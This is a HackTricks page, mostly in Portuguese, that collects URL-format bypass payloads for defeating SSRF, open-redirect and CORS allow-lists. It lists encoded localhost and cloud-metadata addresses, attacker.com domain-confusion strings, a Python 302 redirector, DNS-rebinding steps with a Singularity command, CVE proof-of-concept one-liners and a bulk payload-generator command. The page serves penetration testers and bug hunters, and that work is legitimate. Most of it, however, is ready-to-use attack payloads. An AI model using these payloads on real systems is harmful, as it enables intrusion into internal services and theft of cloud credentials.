URL Format Bypass
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Localhost
Localhost payloads
```bash # Localhost 0 # Yes, just 0 is localhost in Linux http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪CIDR bypass
http://127.127.127.127 http://127.0.1.3 http://127.0.0.0
Dot bypass
127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821
Decimal bypass
http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1
Octal Bypass
http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001
Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001
Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal
Add 0s bypass
127.000000000000.1
You can also mix different encoding formats
https://www.silisoftware.com/tools/ipconverter.php
Malformed and rare
localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1
DNS to localhost
localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1
</details>
.png>)
A **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypasses de formatação de IP.
### Parser de Domínio
<details>
<summary>Bypasses do parser de domínio</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
Domain confusion payloads
```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # colon + backslash confusion (CVE-2025-0454 in autogpt) http://localhost:\@google.com/../On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
Parameter pollution
next={domain}&next=attacker.com
</details>
### Bypass de paths e extensões
Se for exigido que a URL termine com um path ou uma extensão, ou que contenha um path, você pode tentar um dos seguintes bypasses:
https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path
### Fuzzing
A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar variações a partir de uma entrada dada para tentar contornar a regex utilizada. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information.
### Automatic Custom Wordlists
Confira o [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger, onde você pode indicar o host permitido e o do atacante e ele vai gerar uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um Host header ou em um CORS header.
<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>
### Bypass via redirect
Pode ser possível que o servidor esteja **filtrando a requisição original** de um SSRF **mas não** uma possível **redirect** resposta a essa requisição.\ Para exemplo, um servidor vulnerável a SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) para o lugar onde deseja redirecionar, você pode ser capaz de **access filtered IP addresses** como 127.0.0.1 ou até **protocols** filtrados como gopher.\ [Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
<details>
<summary>Redirecionador simples para testes de SSRF</summary>
```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
DNS rebinding bypass (2025+)
Mesmo quando um filtro SSRF realiza uma single DNS resolution before sending the HTTP request, você ainda pode alcançar hosts internos reatribuindo (rebind) o domínio entre a resolução e a conexão:
- Aponte
victim.example.compara um IP público para que passe na allow‑list / CIDR check. - Sirva um TTL muito baixo (ou use um authoritative server que você controla) e rebind o domínio para
127.0.0.1ou169.254.169.254pouco antes da requisição real ser feita. - Ferramentas como Singularity (
nccgroup/singularity) automatizam o authoritative DNS + HTTP server e incluem payloads prontos. Exemplo de execução:python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080.
Esta técnica foi usada em 2025 para contornar o patch BentoML “safe URL” e filtros SSRF similares que fazem single‑resolve.
Truques explicados
Backslash-trick
O backslash-trick explora uma diferença entre o WHATWG URL Standard e o RFC3986. Enquanto o RFC3986 é um framework geral para URIs, o WHATWG é específico para web URLs e é adotado por navegadores modernos. A distinção chave está no reconhecimento pelo padrão WHATWG da barra invertida (\) como equivalente à barra normal (/), o que afeta como URLs são parseadas, marcando especificamente a transição do hostname para o caminho (path) em uma URL.

Left square bracket
O caractere “left square bracket” [ no segmento userinfo pode fazer com que o Spring’s UriComponentsBuilder retorne um valor de hostname que difere dos navegadores: https://example.com[@attacker.com
Outras confusões
.png)
imagem de https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
IPv6 Zone Identifier (%25) Trick
Analisadores de URL modernos que suportam o RFC 6874 permitem que endereços IPv6 link-local incluam um zone identifier após um sinal de porcentagem. Alguns filtros de segurança não reconhecem essa sintaxe e vão apenas remover literais IPv6 entre colchetes, permitindo que o seguinte payload alcance uma interface interna:
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
Se a aplicação alvo valida que o host não é fe80::1 mas para de parsear no %, ela pode tratar incorretamente a requisição como externa. Sempre normalize o endereço antes de qualquer decisão de segurança ou remova o zone id opcional por completo.
CVEs recentes de parsing de bibliotecas (2022–2026)
Uma série de frameworks mainstream sofreu problemas de mismatch de hostname que podem ser explorados para SSRF uma vez que a validação de URL foi contornada com os truques listados acima:
| Ano | CVE | Componente | Sinopse do bug | PoC mínimo |
|---|---|---|---|---|
| 2025 | CVE-2025-0454 | Python requests + urllib.parse (autogpt) | Incompatibilidade de parsing em http://localhost:\\@google.com/../ faz allow‑lists pensarem que o host é google.com, enquanto a requisição atinge localhost. | requests.get("http://localhost:\\@google.com/../") |
| 2025 | CVE-2025-2691 | Node package nossrf | Biblioteca destinada a bloquear SSRF verifica apenas o hostname original, não o resolved IP, permitindo hostnames que resolvem para ranges privados. | curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1 |
| 2024 | CVE-2024-29415 | Node ip package | isPublic() classificou incorretamente dotted‑octal / formas curtas de localhost (ex.: 0127.0.0.1, 127.1) como público, permitindo que filtros aceitem alvos internos. | ip.isPublic('0127.0.0.1') retorna true em versões vulneráveis |
| 2024 | CVE-2024-3095 | Langchain WebResearchRetriever | Sem host filtering; requisições GET podiam alcançar IMDS/localhost a partir de agentes AI. | URL controlada pelo usuário dentro de WebResearchRetriever |
| 2024 | CVE-2024-22243 / ‑22262 | Spring UriComponentsBuilder | [ em userinfo é interpretado de forma diferente pelo Spring vs browsers, permitindo bypass de allow‑list. | https://example.com\[@internal |
| 2023 | CVE-2023-27592 | urllib3 <1.26.15 | Confusão com backslash permitiu que http://example.com\\@169.254.169.254/ contornasse host filters que dividem em @. | — |
| 2022 | CVE-2022-3602 | OpenSSL | Verificação do hostname pulada quando o nome é sufixado com um . (confusão com domínios terminados em ponto). | — |
Auxiliares de geração de payloads (2024+)
Criar grandes word-lists personalizadas manualmente é trabalhoso. A ferramenta open-source SSRF-PayloadMaker (Python 3) pode agora gerar 80 k+ host-mangling combinations automaticamente, incluindo mixed encodings, forced-HTTP downgrade e backslash variants:
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
A lista resultante pode ser alimentada diretamente no Burp Intruder ou ffuf.
Referências
- https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md
- https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
- https://nvd.nist.gov/vuln/detail/CVE-2024-22243
- https://github.com/hsynuzm/SSRF-PayloadMaker
- https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe
- https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


